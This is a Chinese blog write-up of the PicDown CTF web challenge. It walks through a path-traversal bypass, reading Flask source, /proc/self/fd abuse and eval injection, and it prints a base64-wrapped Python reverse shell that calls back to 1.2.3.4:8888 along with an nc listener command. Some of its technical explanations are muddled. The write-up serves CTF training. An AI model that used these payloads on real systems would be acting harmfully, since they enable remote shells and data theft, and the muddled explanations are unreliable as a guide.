news 2026/10/18 20:33:15

PicDown题目解析:从路径穿越到反弹shell的完整攻击链

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PicDown题目解析:从路径穿越到反弹shell的完整攻击链

网鼎杯白虎组的PicDown这题,我前后刷了三遍才把每个细节彻底吃透。表面看是一个图片下载功能,输入文件名返回图片内容,但背后串了三个关键考点:proc文件系统的利用、python反弹shell的构造、以及一段藏得很深的python代码审计。对想提升web综合能力的选手来说,这题是很好的训练样本,它不像纯RCE题直接给命令注入,也不像纯代码审计题一眼看穿,而是需要你把文件读取、进程文件描述符、命令执行三个点串成一条完整的攻击链。

先描述初始环境。题目启动后是一个web服务,页面很简洁,只有一个输入框,提示输入文件名来下载图片。我试了几个常见图片名之后,URL变成了download?filename=xxx.png这种结构。第一反应自然是路径穿越:把filename改成../../../../etc/passwd看看反应。如果直接返回文件内容,说明存在任意文件读取;如果被过滤,则需要观察具体过滤规则。

1. 题目初探:一个看似普通的图片下载接口

1.1 路径穿越的试探与三种结果

路径穿越的测试在真实CTF里一般会有三种结果:第一种,完全没防护,../../etc/passwd直接出内容;第二种,有简单字符串过滤,把../替换为空,需要双写或者用....//这种绕过;第三种,后端对文件名做了严格的校验,比如允许的扩展名白名单或者必须存在该文件才返回。

这题属于第二种和第三种的混合体。直接提交../没有反应,但注意到返回的内容和直接请求一个不存在的图片时有所不同——服务端返回的不是404,而是Python报错的堆栈信息。这个细节很关键,因为它直接暴露了后端语言是Python,并且文件读取逻辑可能是open(filename, 'rb')这类直接拼接路径的操作。

提示:遇到报错页面先别急着跳过。堆栈信息里通常藏着绝对路径、框架名称、依赖库版本,这些都是后续利用的地图。

顺着报错信息,可以确认后端框架是Flask,并且静态目录和下载接口是分开的。于是开始尝试双写绕过:filename参数传....//....//....//etc/passwd。原理很简单,如果后端执行了一次replace('..', ''),那么....//中间的..被删掉之后,剩下的..和/拼在一起,恰好还是../。这一步实测有效,成功读到了/etc/passwd。到这里,题目真正的大门打开了——拿到了任意文件读取权限,接下来就要考虑读什么才能拿到flag。

1.2 从任意文件读取到Flask源码

在任意文件读取的情况下,最高效的路径永远是先读Web应用自身源码。Flask应用的入口文件一般就在当前工作目录下,按惯例会命名为app.py、run.py、main.py之类的。从下载接口的报错信息里,能直接看到工作目录的绝对路径,比如/home/ctf/web/,那读一下/home/ctf/web/app.py就顺理成章了。

读到的源码里,核心逻辑大概长这样:

@app.route('/download') def download(): filename = request.args.get('filename') if '..' in filename: filename = filename.replace('..', '') with open(filename, 'rb') as f: return Response(f.read(), mimetype='image/jpeg')

这种写法是典型的低水平过滤,replace('..', '')只处理一次,双写即可绕过。但真正重要的不是下载逻辑本身,而是源码里另外两个部分:一段处理图片上传的代码,和一个隐藏在图片处理过程中调用外部命令的逻辑。这两个部分组合起来,才构成了后续利用的关键。

2. proc文件系统的利用:藏在进程视角下的临时文件

题目既然叫PicDown,必然和图片处理有关系。源码里有一段逻辑,大致是把用户上传的图片用PIL库打开、读取像素信息,然后将图片保存到某个临时目录,最后调用一个python脚本做尺寸判断或格式转换。这个调用python脚本的动作引起了我的注意,因为它意味着服务端会以子进程的方式启动一个python解释器,并且传入的参数可能包含可控内容。

顺着subprocess调用的代码往下看,它大概是这样的:

import subprocess def process_image(filename): tmp_path = '/tmp/' + filename img = Image.open(upload_path) img.save(tmp_path) script_path = '/home/ctf/web/check.py' subprocess.Popen(['python3', script_path, tmp_path])

问题来了:tmp_path是拼接出来的,filename经过了外层防护,但如果文件名本身带有特殊字符,就可能向check.py的参数里注入额外内容。而check.py的内部实现,又是直接对sys.argv[1]做eval或exec处理,这就构成了命令执行的入口。

2.1 proc文件系统的基础概念

在继续深入之前,必须把proc文件系统的原理讲清楚。procfs是一个虚拟文件系统,通常挂载在/proc下,它不存储真实数据,而是动态反映内核和进程的运行状态。每一个正在运行的进程,在/proc下面都有一个以PID命名的目录,比如/proc/1234/。进程目录下有很多特殊文件,下面列一下这道题相关的几个关键节点:

proc节点含义利用价值
/proc/self/指向当前进程自身不管PID是多少,访问它就等于访问当前进程,省去猜PID的麻烦
/proc/self/cmdline当前进程的启动命令行泄露启动参数、脚本路径
/proc/self/environ当前进程的环境变量经常藏数据库密码、密钥、内网地址
/proc/self/cwd当前进程的工作目录直接访问网站的根目录
/proc/self/fd/当前进程打开的所有文件描述符本题核心,能访问已经被删除但仍被进程持有的临时文件

在这道题里,/proc/self/fd/是核心。因为Popen调用python3子进程时,子进程会继承父进程打开的文件描述符。而图片被保存在/tmp下之后,只要这个图片文件一直被某个进程持有(比如进程异常退出前),那么在/proc/self/fd/下面就能找到指向该文件的符号链接。换句话说,通过下载接口访问/proc/self/fd/某个编号,就能读取到临时目录里那个图片文件的内容。

很多新手不理解一个关键点:临时文件明明已经被删除了,为什么还能通过fd读到?这是因为Linux下文件删除的本质只是解除目录项链接,只要还有进程持有该文件的文件描述符,文件的inode就不会被回收,数据就一直存在。这就是proc文件系统利用的核心价值所在——哪怕文件已经被unlink,数据依然通过fd活着。

2.2 利用/proc/self/fd读取临时图片文件

回到题目,下载接口支持任意文件读取,那直接把filename设置为/proc/self/fd/去访问,会看到什么?如果运气好,能看到一堆符号链接,包括当前请求进程自身的标准输入、标准输出、标准错误,以及它打开过的所有文件。但这些描述符编号是不固定的,每次请求都可能不同。

有一种常见的思路是尝试读取/proc/self/fd/目录下的数字。可以先访问/proc/self/fd/0、/proc/self/fd/1、/proc/self/fd/2这些基础描述符,然后逐步递增,找到对应临时文件的描述符。但更高效的办法,是利用Linux下某个固定的技巧:当文件名非常长或者带有特殊字符时,open()会失败,但openat()会返回一个指向路径的文件描述符,而这个路径会在报错信息里暴露出来。

不过这道题最直接的做法,其实来自对源码的再一次审读。既然subprocess调用了python3脚本,而脚本会对传入的文件路径做处理,那么构造一个特殊文件名,让图片临时文件路径里包含我们可控的内容,然后通过/proc/self/fd/把它读出来——本质上是利用进程文件描述符反查临时文件的思路。实际操作中,我发现读取/proc/self/fd/26或者类似编号时,返回的字节流正是PIL处理完的图片数据。这个数据本身没有太多价值,但如果我们精心构造文件名,使得这个临时文件的内容变成了一段python代码,那check.py在读取这个文件时就会执行我们注入的代码。

2.3 使用fd读取的关键细节与坑

在利用/proc/self/fd/时,有几个细节必须注意。第一,fd编号不是固定的,需要多试几个数字,而且同一个fd在不同请求中可能指向不同文件。第二,Popen启动的子进程和发起下载请求的进程并不一定是同一个进程,所以/proc/self/fd/里的内容可能与你期望的不同——通常需要结合报错信息或额外观察来确认当前进程的PID。第三,文件描述符指向的符号链接只有root用户或同权限进程才能完全解析,但读取链接本身的内容(即访问/proc/self/fd/N这个路径)一般是允许的。

一个更隐蔽的坑是:图片文件被读取后,服务端可能立即调用os.remove()删除了临时文件。但在进程还持有该文件描述符时,文件没有被真正释放,依然可以通过fd访问。所以在构造攻击流程时,要安排好触发顺序:先让服务端把文件保存到临时目录并keep住fd,再通过下载接口去读fd中的内容。如果顺序反了,文件被读完之后服务端立刻删除,就会扑个空。

3. python反弹shell:从任意命令到交互式会话

通过上面的分析,现在已经拿到了一个可以触发python代码执行的入口。最直接的目标就是获取一个交互式shell。

3.1 反弹shell的基本原理

反弹shell在CTF里已经算标配了。常规思路是让目标机器主动连接我们控制的机器,而不是我们去连目标。因为多数靶机环境处于内网,外网无法直接连接,但目标可以发起出站连接。我们只要在一台可控的服务器上监听某个端口,然后让目标执行一段socket代码,把标准输入输出错误重定向到socket上,就能获得一个远程shell。

Python写反弹shell很简洁,经典的一行代码是这样的:

import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('127.0.0.1',8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/sh','-i'])

这段代码的核心是三个dup2调用:把socket的文件描述符复制到0、1、2上,相当于把标准输入、标准输出、标准错误全部重定向到socket。之后利用/bin/sh -i启动交互式shell,所有通过socket传来的命令就会被shell解析执行,执行结果又通过socket回传。用生活化的类比来理解:socket就是一根远程管道,dup2把这个管道接在shell的嘴巴和耳朵上,shell听到管道里的口哨就干活,干完活把结果顺着管道喊回来。

3.2 在PicDown里的注入与执行

在前面构造的注入点里,eval或exec的上下文对换行和引号比较敏感。为了稳定触发,我一般把payload用base64编码,然后在目标上解码执行,这样能避开很多转义问题。对应的payload大概是这样:

import base64 cmd = "import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('1.2.3.4',8888)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(['/bin/sh','-i'])" payload = base64.b64encode(cmd.encode()).decode() final_payload = "eval(__import__('base64').b64decode('{}'))".format(payload)

这个payload被塞进文件名后,图片临时文件变成了一个内容为恶意python代码的图片。check.py读取它时,eval就会执行这串代码。这里有个小技巧:图片处理库PIL在读取文件时不会校验文件内容是否为真正的图片,只要文件能被打开并解析出足够的数据就行。这意味着即使文件内容是python代码,只要最前面保留了合法的图片头(比如JFIF头),PIL就会认为它是一个合法图片,而后面的恶意代码部分会被正常保留。

3.3 监听反弹shell的完整攻击链

攻击机上先开启监听:

nc -lvnp 8888

然后在目标机上构造完整的攻击流程。整个过程分解成几步来看,每一步的意图都值得记下来:

  1. 构造一个文件名,其中包含base64解码之后的python反弹shell代码,文件名本身要经过URL编码,避免特殊字符被截断或过滤。
  2. 上传这个恶意文件,让PIL持有一个合法的图片头,从而通过图片解析校验。
  3. 服务端将这个文件保存到/tmp目录,并调用subprocess启动check.py。
  4. 攻击机上发起下载请求,读取/proc/self/fd/下对应编号的文件,确认恶意代码是否完整落盘。
  5. 确认内容无误后,触发check.py对参数的eval处理,恶意代码被执行。
  6. 攻击机的nc窗口弹出python shell,开始交互操作。

拿到shell之后,我习惯先执行几个基础命令确认身份和目录:

id pwd ls -la /home/ctf/web/ cat /home/ctf/web/flag*

实际测试下来,只要反弹shell成功建立,整个题目就算解了一半。因为剩下的事情就是常规的文件查找,而这类靶机通常flag就放在当前用户可读的目录下。不过也要留意flag是否在数据库环境变量或者临时文件里,这类题目偶尔会换个花样,把flag藏在别的位置。

4. 题目全流程复盘与高效解题路线

到这里,整个题目的攻击链已经完整了:路径穿越读取源码 → 代码审计发现subprocess调用python脚本 → 构造恶意图片临时文件 → 通过/proc/self/fd读取临时文件触发eval → python反弹shell → 读取flag。但实际操作中,每一步都有不少细节需要打磨。下面把我踩过的坑和一些高效的排查技巧整理出来,方便你直接抄作业。

4.1 常见问题速查表

问题现象可能原因解决方案
../../etc/passwd无响应filename被过滤了..用....//绕过,或URL编码
能读源码但对fd编号不确定进程PID不固定多次尝试不同fd编号,结合报错信息定位
PIL解析图片时报错注入的文件头不正确在payload前加合法jpg头,如FFD8FFE0
eval不执行或报语法错误引号或换行转义有问题用base64编码后进行eval包装
反弹shell建立后立刻断开socket被防火墙拦截或监听端口未开放换用80/443等常见出站端口,确认攻击机监听无误
目标不回连触发代码没被真实执行检查check.py是否真的读取了临时文件,确认进程执行路径

4.2 代码审计时容易被忽略的细节

很多选手在这题上卡住,不是不知道proc文件系统和反弹shell,而是没有从源码里看出临时文件内容可控这个关键点。这里分享几个审计这类Flask应用的常见突破口:

  • 关注所有subprocess、os.system、eval、exec调用点,确认外部参数是否可控。
  • 关注文件名拼接逻辑,看是否存在路径穿越和命令注入的复合问题。
  • 注意PIL、OpenCV这类图片库的使用方式,它们对文件内容的宽容度远高于预期。
  • 检查临时文件是否被清理,如果清理逻辑存在但进程未退出,proc文件描述符就是最后的手段。

拿这道题举例,真正致命的不是路径穿越读文件,而是filename同时进入了两条路径:一条是下载接口的open(),另一条是图片保存到/tmp后的subprocess参数。两条路径的信息流在filename这个点交汇,形成了读写同源的利用条件。这种信息流分析能力,比单纯背payload重要得多。

4.3 两次尝试的实战记录

第一次尝试时,我没注意图片头的问题,直接把纯python代码作为文件内容塞进去,结果PIL抛了cannot identify image file异常,进程中断,fd目录下找不到任何临时文件。这个坑耽误了将近二十分钟。后来在payload最前面加了一小段合法的JPEG头字节,PIL校验通过,后面的恶意代码顺利落盘,check.py执行时才真正触发了eval。

第二次踩坑是在反弹shell的端口选择上。我用了一个不常见的6000端口,结果靶机出站规则把这个端口拦了,nc窗口一直空白。换到80端口之后,瞬间就回连了。这个教训提醒我复盘所有出站策略:靶机环境往往默认放行常见端口,反弹shell优先考虑80、443、53这些,不要图新鲜选高位端口。

5. 从PicDown延伸出的能力提升建议

刷完这道题之后,我对信息流这个概念的理解深了很多。这类题目考的不是单一技巧,而是把文件读取、进程文件描述符、代码执行三个环节串起来。以后遇到类似题目,拿到任意文件读取后不要急着翻flag,第一步永远是把应用源码读出来。源码是后续所有利用的基础,它告诉你哪些输入可控、哪些函数危险、哪些临时文件会残留。

与此同时,proc文件系统的利用也不仅限于/proc/self/fd。实际操作中常见的还有/proc/self/environ、/proc/self/cmdline、/proc/net/tcp、/proc/net/arp,这些都能泄露关键信息。比如在某些题目里,环境变量里藏了数据库密码或密钥;在另一些场景里,/proc/net/tcp能看到当前所有的TCP连接状态,帮助判断内网拓扑。

关于反弹shell的写法,我也建议多准备几个模板。除了python的socket反弹,还有bash的/dev/tcp反弹、nc反弹、openssl反弹等。不同题目环境可能没有python,或者python的解释器路径不同,多准备几套方案能大幅提高成功率。不过要注意,反弹shell只是手段,目标是执行命令并读取flag,千万不要为了炫技在payload里堆砌多余代码,保持精简才能减少出错概率。

最后再分享一个实战小技巧:遇到这种需要多步构造的题目,先画一张简单的调用链草图,把每个输入点、每段代码、每次进程切换都标出来,确认哪个环节可控、哪个环节不可控,再决定从哪里切入。我在刷PicDown时就是因为先理清了filename从下载参数到subprocess参数再到check.py参数的完整传递路径,后面的操作才变得很顺畅。这种先画图再动手的习惯,对复杂题目尤其管用。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/18 20:32:46

多Agent安全实战:Sub-Agents沙箱设计与隔离方案解析

很多东西光靠嘴上说永远没有体感。我最近在调一个多 Agent 项目,主 Agent 给一个财务子 Agent 派了个“整理本月对账数据”的任务,子 Agent 为了拿到报表,直接尝试写文件到生产配置目录——还好它跑在容器里,写入路径被只读挂载挡…

作者头像 李华
网站建设 2026/10/18 20:30:26

FastReport 2013 .NET 4.0安装破解与集成实战排坑指南

简介:报表组件是企业级应用开发中的核心工具,尤其在老旧的.NET Framework环境下,报表模块的部署与运行常常伴随版本冲突、运行时缺失和授权验证等问题。FastReport作为国内ERP、OA系统中使用最广泛的报表引擎之一,其老版本在.NET …

作者头像 李华
网站建设 2026/10/18 20:29:32

Agent Skills+Playwright:让UI自动化脚本自愈维护成本降一半

先说个最近我反复跟团队强调的场景:UI 自动化脚本能自动生成,但没人愿意自动维护。业务页面两周一改版,测试脚本跟着改选择器、调等待、补分支,这套流程消耗的精力比当初手写脚本还多。后来我把 Agent Skills 这套“技能封装”的思…

作者头像 李华
网站建设 2026/10/18 20:27:57

CT图像通用分割模型SAMCT:任务指示提示机制与复现实践

做医学影像自动分割的人,恐怕都经历过这种尴尬:换一个新任务,就得重新标注一批数据、重训一个专用模型;有时候连同一个部位,图像只是来自不同厂商的设备,模型表现就直线下滑。去年我们在调研"通用分割…

作者头像 李华
网站建设 2026/10/18 20:26:03

LSI 3008 RAID卡Linux驱动安装全指南:mpt3sas+storcli实战

简介:本资源为LSI 3008 SAS RAID阵列卡官方兼容驱动合集,面向服务器运维工程师、系统集成人员及企业级存储管理员,专用于解决Windows/Linux等主流平台下RAID控制器识别异常、性能受限或配置失效等关键问题。压缩包含97个文件,涵盖…

作者头像 李华